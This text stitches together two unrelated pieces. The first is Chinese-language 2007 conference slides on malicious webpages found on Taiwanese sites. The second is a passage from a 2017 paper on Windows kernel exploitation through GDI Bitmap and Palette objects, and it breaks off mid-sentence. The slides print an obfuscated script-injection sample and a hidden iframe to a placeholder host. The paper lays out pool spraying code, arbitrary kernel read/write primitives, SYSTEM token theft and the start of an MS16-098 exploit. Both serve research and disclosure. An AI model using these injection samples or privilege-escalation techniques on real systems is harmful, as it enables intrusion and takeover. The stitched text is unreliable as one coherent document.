Jeremy Chiu, Lead Security Researcher, X‐Solve Lab Armorize Technologies 2007‐07‐21 Prefix 由於近日惡意網頁的問題頻傳,讓駭客利用惡意程式大量 入侵,造成了許多政府機關及各企業的機密資料外洩等資 安問題。 為了對抗惡意網頁及伴隨而來的網路犯罪問題,今年阿碼 科技公司的艾克索夫實驗室研究團隊特別企劃了一個研究 計畫,針對了台灣區網站進行大規模資安檢測。對於現階 段的惡意網站問題與惡意程式掛馬兩大部分進行研究,在 這個報告中將對於植入的技術與惡意程式做深入的技術分 析,活生生的內容,讓您了解目前台灣區的各機關與公司 網站被入侵現況。 Taiwan Malicious Webpage and Spyware Hacking 2 About me Jeremy Chiu Jeremy Chiu (Birdman) BTW, I got a new job! ☺ 阿碼科技公司 ‐ X‐Solve實驗室首席資安研究員 Lead Security Researcher, X‐Solve Lab, Armorize  Technologies Taiwan Malicious Webpage and Spyware Hacking 3 Outline New Threat ! Web‐based Malware What is Malicious Webpage? The Last Malicious Webpage Report in Taiwan Cyber Criminal Groups Are Working Analysis of Malicious Webpage Spyware Hacking Automatic Web‐based Malware Analysis System HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 4 New Threat ! Web‐based Malware 資安的新挑戰 – Web Security 大家都知道Web 2.0是炒熱了新一波的網路熱潮,但是 很快的,我相信就有Web 2.0 SP1了。 Web‐based Malware 根據最近的各家的研究報告指出,目前Malware與Web  Security已經狼狽為奸的關係… Google研究中指出 1/10的網站是惡意的;而且在1200萬 的惡意網頁中,其中100萬的網頁會有下載惡意程式的 行為。 Google研究中,每2千頁左右的網頁就會有一個是會植 入惡意程式的。 Taiwan Malicious Webpage and Spyware Hacking 5 HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 6 Location of compromised web sites Location of malware distribution servers The majority of malware activity seems to happen in China, the U.S., Germany and Russia Reference: Introducing Google's online security efforts 2007‐04 司法院慘遭染指… Taiwan Malicious Webpage and Spyware Hacking 7 2007.04.18 What is Malicious Webpage? Malicious Webpage 網頁被Hacker竄改,放內惡意程式碼或是惡意連結,導 致瀏覽網頁的使用遭受影響,其主要目的在於大量植入 Spyware,竊取資料以及盜取密碼。 惡意的程式碼 網頁上的惡意Script – Malscript 攻擊使用者環境的程式碼 – Exploit 惡意連結 – Malink (Maliframe) 為甚麼網頁會被竄改 Web Application Security  通常是網站以被入侵,以SQL‐Injection問題居多 Taiwan Malicious Webpage and Spyware Hacking 8 9 Hacker成本低廉~ 駭客教學雜誌,教學動畫,滿天飛 只要看過 “黑XX雜誌”,1個月內速成駭客! 網路上充斥著各式各樣的便宜駭客工具 各種駭客用的免殺後門程式,變形工具 各種ZeroDay Exploit產生器… 只要有心,人人都是駭客 只要有心,人人都是駭客 常用的掛馬Exploit 主要針對微軟環境為主 MS07-017 – MS Windows Animated Cursor (.ANI) Remote Exploit MS07-009 MS07-004 – VML Remote Code Execution (929969) MS06-073 MS]06-071 – XML Core Services Remote Code Execution (928088) MS06-068 MS06-067 MS06-057 – WebViewFolderIcon ActiveX MS06-055 - MS06-014 – MDAC Remote Code Execution MS06-013 MS06-005 MS06-004 MS06-001 HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 10 11 http://x‐solve.com/blog 艾克索夫實驗室 (資安技術社群) Analysis of Malicious Webpage The Two Malicious Webpage Modes Taiwan Malicious Webpage and Spyware Hacking 12 Encoded  Script Malink Malink Exploit Code Drop  Spyware Exploit Code Encoded  Script Encoded  Script Drop  Spyware Encoded Scripts 編碼過的Java Script來產生HTML 網頁上的Exploit為了逃過掃毒程式或是IDS/IPS等特徵 檢查,通常使這技巧來達到執行時期才產生惡意HTML 的功能。某種程度來說這是一種SMC,也是PE Packer 才用的技巧。 Taiwan Malicious Webpage and Spyware Hacking 13 <script language="JavaScript">e = '0x00' + '5F';str1 =  "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7  %BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1  %F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF  %C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2"; str=tmp='';for(i=0;i<str1.length;i+=3){tmp =  unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)‐127);}document.write(str); </script> <script language="JavaScript">e = '0x00' + '5F';str1 =  "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7  %BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1  %F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF  %C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2"; str=tmp='';for(i=0;i<str1.length;i+=3){tmp =  unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)‐127);}document.write(str); </script> <div style="visibility:hidden"><iframe src="http://xxx.com/xxx" width=1  height=1></iframe></div> <div style="visibility:hidden"><iframe src="http://xxx.com/xxx" width=1  height=1></iframe></div> Demo ASCII 7‐8 Bits Encoding 複合型Encoding HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 14 The Last Malicious Webpage Report in Taiwan 台灣是一個怎樣的國家?很熱情?很友善? No! 是一個Malware Malware‐‐Friendly Country  Friendly Country ! Taiwan Malicious Webpage and Spyware Hacking 15 Reference: PandaResearch 剛好打進前10強 剛好打進前 剛好打進前10 10強 強 Taiwan Malicious Webpage and Spyware Hacking 16 搜尋.tw 發現了 1498筆資料 搜尋.tw 發現了 1498筆資料 Malicious Webpage Report By X‐Solve Lab WebProtector 有鑑於攻擊行為的氾濫,我們開發了自動化的惡意網頁 與惡意程式分析系統 ‐ WebProtector 最近一次的分析報告是2007‐07‐21,針對台灣12000個 網站的主要網頁進行調查與分析… 請注意 請注意!! 本研究資料為 本研究資料為2007 2007‐‐07 07‐‐21 21的自動掃描系統分析, 的自動掃描系統分析, 僅供參考 僅供參考 某些資料以 某些資料以XX XX顯示,這表示僅在 顯示,這表示僅在HIT2007 HIT2007現場公布 現場公布 HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 17 HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 18 密… 報告解讀與分析 遭受侵害的網頁報告(Malicious Webpage)=404 惡意連結數量 (Malink) = 233 還活躍惡意連結報告(Active Malink) = 2XX 惡意程式分析(Dropped Spyware)= 4X 惡意程式所在國家分析(Location of Spyware) HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 19 HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 20 密… Cyber Criminal Groups Are Working 更高層次的網路犯罪已經在運作 根據目前各項資料顯示,我們推測在台灣網站間出現大 量惡意程式與惡意網頁並不是巧合,而是由網路犯罪集 團所策動,有計畫有組織的滲透,不僅針對個人或是公 司,甚至是針對機關或是組織而來。 駭客集團大量蒐集個人資料與帳戶密碼,進行社交網路 分析。 Taiwan Malicious Webpage and Spyware Hacking 21 Spyware Hacking 接下來我們來分析幾隻常見的Spyware Taiwan Malicious Webpage and Spyware Hacking 22 Taiwan Malicious Webpage and Spyware Hacking 23 Automatic Web‐based Malware Analysis  System WebProtector 全自動惡意網頁惡意分析系統,可提供即時的惡意連結 與惡意程式監控 Taiwan Malicious Webpage and Spyware Hacking 24 Sandbox Sandbox Sandbox Protector Server Analyzer Client Web Protector Server Protector可以監控大量的網址,檢測是否被植入惡意連結,提供即時的資訊。 網頁竄改的及時監控(Real‐time Protection of Tampering Webpage) 自動化全網站掃描(Automatic Detection of Malicious Webpage) 惡意網頁與入侵趨勢分析報告(The Trends of Malicious Webpage Comprehensive Analysis  Report) HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 25 網站的Risk Level HIT2007 - Taiwan Malicious Webpage and Spyware Hacking 26 密… Web Analyzer Client  Control By WebProtector Server 分析動態JavaScript或是加密的惡意網頁(Encoded JavaScript Analysis) 啟發式自動化惡意網頁掃描(Heuristic Scan of Malicious Webpage) 植入的惡意程式下載網址分析(Download URL Analysis of Injected Malware) 新型的惡意網頁偵測(Webpage Zeroday Malicious Code Detection) Taiwan Malicious Webpage and Spyware Hacking 27 密… Q&A Thx Taiwan Malicious Webpage and Spyware Hacking 28 Special Thanks Sscan, Nanika, PK, Tim, Unary, Bob Reference http://research.pandasoftware.com/blogs/research/archive/2007/05/22/Malware_2 D00_friendly‐countries.aspx http://googleonlinesecurity.blogspot.com/2007/05/introducing‐googles‐anti‐ malware.html http://www.usenix.org/events/hotbots07/tech/full_papers/provos/provos.pdf Taiwan Malicious Webpage and Spyware Hacking 29
pdf
Research Demystifying Kernel Exploitation by Abusing GDI Objects Saif El-Sherei [email protected] ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!2! ! Introduction In this paper, we will discuss integer overflows that lead to Kernel Pool memory corruption. We will go through discovery, triggering, and exploiting the identified issues, by abusing two GDI objects, the bitmap and palette objects. The concepts presented in this paper represent how I understood and tackled them, they might not be very scientific in that sense. Standing on the Shoulders of Giants • Nicolas Economou Economonu and Diego Juarez Juarez Abusing GDI for ring 0: https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives • 360 Vulcan: https://cansecwest.com/slides/2017/CSW2017_PengQiu- ShefangZhong_win32k_dark_composition.pdf • K33n team: https://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time- font-hunt-you-down-in-4-bytes • J00ru, Halvar Flake, Tarjei Mandt, Halsten, Alex Ionescu, Nikita Terankov and many others. The Setup • IDA Pro. • Zynamics BinDiff. • VirtualKD (much love). • WinDbg • GDIObjDump WinDbg Extension • VmWare Worksation: - Windows 8.1 x64. - Windows 7 SP1 x86. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!3! ! WinDbg Pool Analysis Tips !poolused This command can be used to view the pool usage of a certain Pool tag or for a certain Pool type. !poolfind This command is used to find all locations of allocated objects of the specified Pool tag. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!4! ! !pool This command is used to view the Pool page where the specified address is located in. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!5! ! Kernel Pool Kernel Pool Types The kernel Pool is a sort of Heap memory that is used by the kernel, and it has many types [1], the most used are: • Desktop Heap: primarily used for Desktop objects like Windows, Classes, Menus, and so on. - Allocation Functions: RtlAllocateHeap(), DesktopAlloc(). - Free Function: RtlFreeHeap(). • Non-Paged Pool: Objects allocated to this pool, have their virtual addresses mapped to physical pages on the system, some of the objects allocated in the Non-Paged Session Pool are related to system objects, like semaphores, Event objects, etc. • Paged Session Pool: This Pool type is the one we will be focused on in this paper; Objects allocated to this pool might not have their virtual addresses mapped to physical memory, and objects that are stored there don’t always have to be available in memory for normal Kernel operations, and can be only valid for the current execution session, like GDI and some User objects. - For Both the Non-Paged and Paged Pool allocations the ExAllocatePoolWithTag() Function is used for allocations, with the 1st argument set to the Pool type if 0x21 then allocate the object to Paged Session Pool, if 0x29; then the object is Allocated to the Non-Paged Pool. - The function ExFreePoolWithTag() and ExFreePool() are used to Free Pool memory. Kernel Pool Allocations Dynamics Looking at Win32AllocPool function we can see how the kernel allocates objects to the Pages Session Pool type 0x21. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!6! ! The next thing to know about Kernel Pool is that its memory is separated into 0x1000 byte Pages. The first allocation to that page would result in the chunk being allocated at the beginning of the page, subsequent allocations would be allocated from the end of the page, in most pool allocation behaviour. In x64 bits systems, the kernel Pool Header is of size 0x10, and size 0x8 for x86 ones [2]. During tests, it was noticed that requested kernel objects allocation below a certain size gets allocated to the Look aside list using a fixed size structure, however the focus will be on normal kernel Pool allocations. Pool spraying / Feng shui The idea behind Pool spraying / feng shui, is to get the Pool memory in a deterministic state. This, is done using a series of allocations and deallocations, to create memory holes the same size as the vulnerable object where it will be allocated in a memory location adjacent to objects under our control that can be later abused. If the vulnerable object is not freed within the vulnerable function execution, the memory holes can be anywhere in the Pool page, however, if the object gets freed at the end of execution, like the two case-studies presented in this paper, then the approach would be to allocate the vulnerable object at the end of the Pool page, so the next chunk header won’t be available, and the free call at the end of the vulnerable function won’t trigger a BSOD with a BAD POOL HEADER. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!7! ! Forcing Object Allocation at End of Pool Page Let’s assume that the vulnerable object is of size 0x40 including the Pool header, the first allocated chunk to the page will have to be of the size 0x1000 – 0x40 = 0xFC0 including the Pool Header. Next Allocate the 0x40 bytes left in the Pool pages. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!8! ! If the overflow requires the object that will be abused, to be at a certain offset from the overflowed object. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!9! ! ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!10! ! ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!11! ! Pool Corruption Pool corruption can happen for many reasons, use-after-free, linear Pool overflows, Pool Out-of- bounds writes, and so on. Unsigned Integer Overflows Unsigned Integer Overflows is the result of unchecked calculations using a controlled integer that will wrap the result around MAX_UINT (0xFFFFFFFF) to a small value depending on the calculation, resulting in a smaller number than intended, which can have diverse effects depending on how the overflowed value is used. To have a better understanding of what actually happens in an unsigned integer overflow: Assume the system is x86 so UINT sizes are 4 bytes (32 bits), the value 0x80 is added to the supplied integer: 0xFFFFFF80 + 0x81 = 00000001 ?? The above calculations will result in 0x1 on x86 bit systems, and in some cases on x64 bit systems, the actual result of the calculation is 0x100000001, which is larger than the 4 bytes which represents the size of UINT on x86 operating systems, so it gets truncated to 4 bytes omitting the most significant byte resulting in 0x1. During testing on x64 based systems, it would be very hard to find a clean x64-bit integer overflow since it requires very large numbers, although the concept still applies. However, many of the vulnerable functions like the one presented later, would actually cast this value to a 32-bit register before use, which results in integer truncation to 32-bit as explained above. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!12! ! Consider what would happen in a function that: 1. Accepts an integer as an argument and does some calculations on it; 2. Those calculations, result in an integer overflow 3. Later, the function supplies the resulted small integer value to a memory allocation function; 4. It then uses the original large integer to: a. copy data to the newly allocated buffer (linear overflow), or b. tries to write to an offset that it expects to be within the allocation bounds (OOB write). These will be the two types of integer overflows covered in this paper. Linear Overflow Linear overflow happens when data is copied to an object without bounds checking, using memory copying loops or functions. This can be due to several reasons. For example, an overflowed small size is passed to the allocation function, and the memory copying function uses the original large size to copy data to the allocated memory location, or when an object gets allocated using a fixed size, and the memory copying loop or function uses a user supplied size without verification. Out-Of-Bounds(OOB) Write In case of OOB write, the application will first allocate an object that is expected to have a fixed size or a size larger than a certain value; however, if the size passed to the allocation function suffers from an integer overflow, the size can be wrapped to a very small value. Later, the application tries to write/read to and index that is expected to be part of the allocated object, but since the allocation size was overflowed, the resultant object is much smaller than expected, which leads to OOB write/read. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!13! ! Abusing GDI Objects for ring0 Exploit Primitives Usually in exploit development, objects corrupted by the 1st stage memory corruption can be used to gain a 2nd stage memory corruption primitive. These objects usually have certain members that allow such abuse, such as a member that specifies or influences the object or the object’s data size. Thus, allowing relative memory read/write, and can be enough in some cases to completely exploit a bug. However, if the object has another member, a pointer that points to the object data, it will transform the memory corruption primitive into arbitrary memory read/write and will greatly ease the exploitation journey. That is why this technique is usually exploited using two objects, one (manager) will be used to set the data pointer for the second (usually adjacent) object (worker) to gain arbitrary read/write (Game Over). In case of the Windows kernel, GDI objects can be used to achieve such primitive, specifically Bitmap objects, which was disclosed to my knowledge by k33n team [3], and detailed heavily by Nicolas Economou and Diego Juarez in the Abusing GDI objects for ring0 primitives articles and talk [4]. I was lucky enough to discover another GDI object that can be abused in the same way, the Palette object. To my knowledge relative kernel memory read/write was referred to in two slides of the 360 Vulcan team talk Win32k Dark Composition [10], but further investigation while trying to exploit MS17-017 on x64 bit systems resulted in the finding; this being that the Palette object can also be used to gain arbitrary kernel memory read/write as well, which makes it as powerful as the Bitmap abuse technique. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!14! ! Relative Memory Read/Write Relative memory read/write, is when an exploit primitive allows us to read/write relative to the location of a certain memory address, and in this case, object pointers. This is achieved by corrupting the GDI object to increase its size, which is usually the first step after the bug is triggered into gaining full arbitrary kernel memory read/write. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!15! ! Arbitrary Memory Read/Write Arbitrary memory read/write in general, is when an object has a member that is a pointer to the objects data (data pointer). If this pointer was to be corrupted or altered, whenever a function that is used for reading/writing of the objects data is called, it will try to read/write from the altered pointer, giving a powerful exploitation primitive to read/write to/from anywhere in memory. To explain further consider the manager/worker approach. Object A (Manager) whose size was extended, is now able to read/write past the data limit. Reaching Object B (Worker) data pointer *Data, by reading the contiguous memory from Object A data until Object B *Data and replacing the offset of Object B data pointer, with a leaked or calculated address. Then when the exploit reads/writes to Object B data, it will do so, to a pointer under the attacker control. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!16! ! SURFOBJ - Bitmaps Objects Bitmap objects are represented in kernel memory by Pool tag Gh?5, Gla5 and type _SURFOBJ. The structure is documented at msdn [5], ReactOS 32-bit version [6], Diego Juarez’s blog post for x64 bit version[7]. This is the technique that will be used to exploit MS16-098, later in the paper, and to my knowledge first disclosed by k33n Team [3] and later heavily analysed and detailed by Diego Juarez in his blog post[7], and talk[4] with Nicolas Economou both back in 2015. SURFOBJ structures The most interesting members of the SURFOBJ object are the sizlBitmap, which represent a SIZEL structure specifying the width and height of the bitmap. pvScan0 and pvBits are pointers to the bitmap bits. Depending on the bitmap type, one of those pointers will be used. The bitmap bits are usually located in memory after the SURFOBJ. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!17! ! Allocation CreateBitmap function is used to allocate Bitmap objects, as defined below. Allocate 2000 bitmap objects: for (int y = 0; y < 2000; y++) { HBITMAP bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL);} Free DeleteObject function can be used to free Bitmap objects. DeleteObject(HBITMAP); ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!18! ! Read Memory Function The GetBitmapBits function can be used to read bitmap supplied count bytes (cBytes) from the location pointed to by pvScan0/pvBits depending on the bitmap type, where cBytes is less than (sizlBitmap.Width * sizlBitmap .Height * BitsPerPixel). Write Memory Function The SetBitmapBits function, will be used to write bitmap supplied count bytes (cBytes) from the location pointed to by pvScan0/pvBits depending on the bitmap type, where cBytes is less than (sizlBitmap.Width * sizlBitmap .Height * BitsPerPixel). ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!19! ! Relative Memory Read/Write sizlBitmap The sizlBitmap member specifies a SIZEL structure that contains the width and height, in pixels, of the surface. The SIZEL structure is identical to the SIZE structure. All further bitmap operations, like reading/setting the bitmap bits, depend on sizlBitmap to calculate the size of the bitmap, and perform this operation based on this size. Size = Width * Height * BitsPerPixel Arbitrary Read/Write pvScan0/pvBits pvScan0 is a pointer to the first scan line of the bitmap. If the bitmap format is BMF_JPEG or BMF_PNG, this member is NULL, and pvBits is used as the pointer to the bitmap data. Basically, this pointer is used when trying to get/set the bitmap data, depending on the type it can be either pvScan0 or pvBits. Exploitation Scenario In Diego Juarez’s and Nicolas Economou’s talk [3], they did a full detailed analysis on abusing bitmap objects, using the Manager/Worker approach in two ways. The idea was to use a Manager Bitmap object, which sizelBitmap or pvScan0 members can be controlled, in order to control the pvScan0 member of a second Worker bitmap, and gain arbitrary kernel memory read/write. The focus will be on the technique using a Manager bitmap were the sizlBitmap member is under our control, to extend that bitmap to gain relative memory read/write and then, control the adjacent Worker bitmap object pvScan0 member. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!20! ! ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!21! ! ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!22! ! XEPALOBJ - Palette Objects The discovered new technique will be using Palette Objects. Palettes specify the colours that can be used in a device context, they are represented in kernel memory by Pool tag Gh?8, Gla8, and have the type name _PALETTE, XEPALOBJ or PALOBJ in Win32k debugging symbols. Personally, since some of the analysed functions reference XEPALOBJ that’s what I decided to go with. The kernel structure is undocumented on msdn but the x86 version can be found at ReactOS[8], and both x86 and x64 versions can be found in Deigo Juarez’s amazing windbg extension GDIObjDump[9]. The relative memory read/write technique was mentioned in 360 Vulcan team talk[10] in March 2017. However, to my knowledge the full technique including arbitrary memory read/write, was not disclosed before. X86 and X64 PALETTE structure The most interesting members of the XEPALOBJ structure are the cEntries which represent the number of members in the PALETTEENTRY array, and the *pFirstColor, which is a pointer to the first member of the PALETTEENTRY array apalColors located at the end of the structure as seen below. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!23! ! KAlloc CreatePalette function is used to allocate Palette objects. It takes a LOGPALETTE structure as argument, allocations lower than 0x98 bytes for x86 systems and 0xD8 for x64 bits, gets allocated to the look aside list. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!24! ! Each PALETTEENTRY is 4 bytes, for both x86 and x64. Allocate 2000 Palettes HPALETTE hps; LOGPALETTE *lPalette; lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY)); lPalette->palNumEntries = 0x1E3; lPalette->palVersion = 0x0300; for (int k = 0; k < 2000; k++) { hps = CreatePalette(lPalette); } KFree To free a Palette object, the DeleteObject function can be used and the handle to Palette is supplied as argument: DeleteObject(HPALETTE) ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!25! ! Read Memory Function The GetPaletteEntries function is used to read Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, to the provided buffer lppe. The function is defined as below. Write Memory Function There are two functions that can be used to write Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStart || iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, from the provided buffer lppe. These functions are SetPaletteEntries, and AnimatePalette. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!26! ! Relative Memory Read/Write cEntries The cEntries member in XEPALOBJ is used to reference the number of Entries in the Palettes apalColors array, if this member was to be overwritten with a larger number then whenever read/write operations happen on the Palette it will read/write beyond the kernel memory allocated for it. Arbitrary memory read/write *pFirstColor All read/write operations by referencing the *pFirstColor, which is the pointer the first entry in the apalColors array, by changing this pointer in a given Palette, it can be used to read/write from any location in kernel memory. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!27! ! Exploitation Scenario Palette objects can be abused the same way as Bitmap objects, by using a Manager Palette whose cEntries, or *pFirstColor members are under our control, to control the *pFirstColor of a second Worker Palette and gain arbitrary kernel memory read/write primitive. The focus will be on the situation where the cEntries of the Manager Palette object can be controlled, by an overflow, to gain a relative memory read/write to the location of the Manager Palette in kernel memory, and use it to overwrite the *pFirstColor of the adjacent Worker Palette object. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!28! ! ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!29! ! Technique Restrictions The are some restrictions to using the Palette technique. Firstly, when overflowing the cEntires, the value has to be bigger than 0x26 for x86 systems, and 0x36, since the minimum size allocated for XEPALOBJ is 0x98 for x86 bit systems, and 0xd8 for x64 bit ones, so even if the cEntires is 0x1 if it was overwritten by 0x6 for example, will result in 0x6 * 0x4 = 0x18 which is less than the minimum allocated Palette size. When using the SetPaletteEntries Function to write Entries to memory, the overflow should not overwrite certain members of the XEPALOBJ (hdcHead, ptransOld and ptransCurrent) X86 X64 typedef struct _PALETTE64 { .. HDC hdcHead; // 0x1c … PTRANSLATE ptransCurrent; // 0x30 PTRANSLATE ptransOld; // 0x34 … } PALETTE, *PPALETTE; typedef struct _PALETTE64 { .. HDC hdcHead; // 0x28 … PTRANSLATE ptransCurrent; // 0x48 PTRANSLATE ptransOld; // 0x50 … } PALETTE64, *PPALETTE64; The user-mode SetPaletteEntries calls NTSetPaletteEntries->GreSetPaletteEntries which has the first restriction on hdcHead member, if this member is set the code path taken will end with an error or BSOD highlighted in Yellow below. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!30! ! Before the code reaches this point the GreSetPaletteEntries will call XEPALOBJ::ulSetEntries, which checks the pTransCurrent and pTransOld members and if they are set, a code path will be taken that will AND the values pointed by them with 0 blocks, in orange colours, although if these locations were allocated then this checks shouldn’t result in BSOD. The only restriction on setting Palette’s using the AnimatePalettes user-mode function, is that the most significant byte of the memory location pointed to by *pFirstColor has to be an ODD value, this proved challenging on x64 bit systems, but not so much on x86 ones, as shown in XEPALOBJ::ulAnimatePalette below. Although this will not result in BSOD but will error out without writing the new value to the memory location. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!31! ! EPROCESS SYSTEM Token Stealing Each running process on the system is represented by the _EPROCESS structure in the kernel, this structure contains allot of interesting members, such as ImageName, SecurityToken, ActiveProcessLinks, and UniqueProcessId. The offset of these members changes from OS version to the other. The address of the SYSTEM process EPROCESS structure in kernel can be calculated by getting address by: KernelEPROCESSAddress = kernelNTBase + (PSInitialSystemProcess()-UserNTImageBase) EPROCESS structure interesting members’ offsets: Windows 8.1 x64 Windows 7 SP1 x86 SecurityToken SecurityToken represents the security level that the current process has access to, whenever the process requests access to a certain privilege the EPROCESS SecurityToken is used to verify that the calling process has access to the requested resource. ActiveProcessLinks ActiveProcessLinks is a LIST_ENTRY object, that contains pointers to the next/previous active processes EPROCESS entry in the kernel. typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY; ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!32! ! UniqueProcessId The UniqueProcessId as the name suggests is the Process PID. Game Plan 1. Get Initial SYSTEM process EPROCESS kernel address. 2. Use arbitrary read memory primitive to get the SecurityToken and ActiveProcessLinks. 3. Get current process EPROCESS structure address, by iterating over the ActiveProcessLinks entries, till the ActiveProcessLinks->Flink.UniqueProcessId matches GetCurrentProcessId(). 4. Use arbitrary memory write primitive to replace the current process SecurityToken with the SYSTEM process one. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!33! ! MS16-098 RGNOBJ Win32k!bFill Integer Overflow leading to Pool Overflow Understanding the Bug The MS16-098 update file was downloaded and expanded using Expand.exe. Then, binary diffing was performed between the new win32k.sys file version 6.3.9600.18405 and its older version, 6.3.9600.17393, using IDA pro Zynamics BinDiff plugin. An interesting function was found to be modified with similarity rating 0.98. This function was win32k!bFill. Below is the difference between the two versions. The diff shows that an integer overflow was fixed, by adding the function UlongMult [11], which is used to detect integer overflows by multiplying the supplied two ULONG integers. If the result overflows the object type, which is a ULONG, it returns an error “INTSAFE_E_ARITHMETIC_OVERFLOW”. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!34! ! This function was added right before the call PALLOCMEM2 that was called with one of the checked arguments [rsp+Size]. This confirms that this integer overflow would lead to an allocation of a small sized object; the question then being – can this value be somehow controlled by the user? When faced with a big problem, its recommended to break it down into smaller problems. As kernel exploitation is a big problem, taking it one step at a time is the way to go. The exploitation steps are as follows: 1. Reaching the vulnerable function. 2. Controlling the allocation size. 3. Kernel pool feng shui. 4. Analysing and controlling the overflow. 5. Abusing the Bitmap GDI objects. 6. Fixing the overflowed header. 7. Stealing SYSTEM Process Token from the EPROCESS structure. 8. SYSTEM !! Reaching the Vulnerable Function First, we need to understand how this function can be reached by looking at the function definition in IDA. It can be seen that the function works on EPATHOBJ and the function name “bFill” would suggest that it has something to do with filling paths. A quick Google search for “msdn path fill” brought me to the function BeginPath and the using Paths example [12]. Theoretically speaking, if we take out the relevant code from the example, it should reach the vulnerable function. // Get Device context of desktop hwnd hdc = GetDC(NULL); // begin the drawing path BeginPath(hdc); // draw a line between the supplied points LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); // End the path EndPath(hdc); // Fill Path FillPath(hdc); That didn’t work so I started to dive into why by iterating backwards through the Xrefs to the vulnerable function and adding a break point in WinDbg, at the start of each of them. EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() Running our sample code again, the first function that gets hit, and then doesn’t continue to the vulnerable function was EngFastFill. Without diving deep into reversing this function and adding more time of boring details to the reader we can 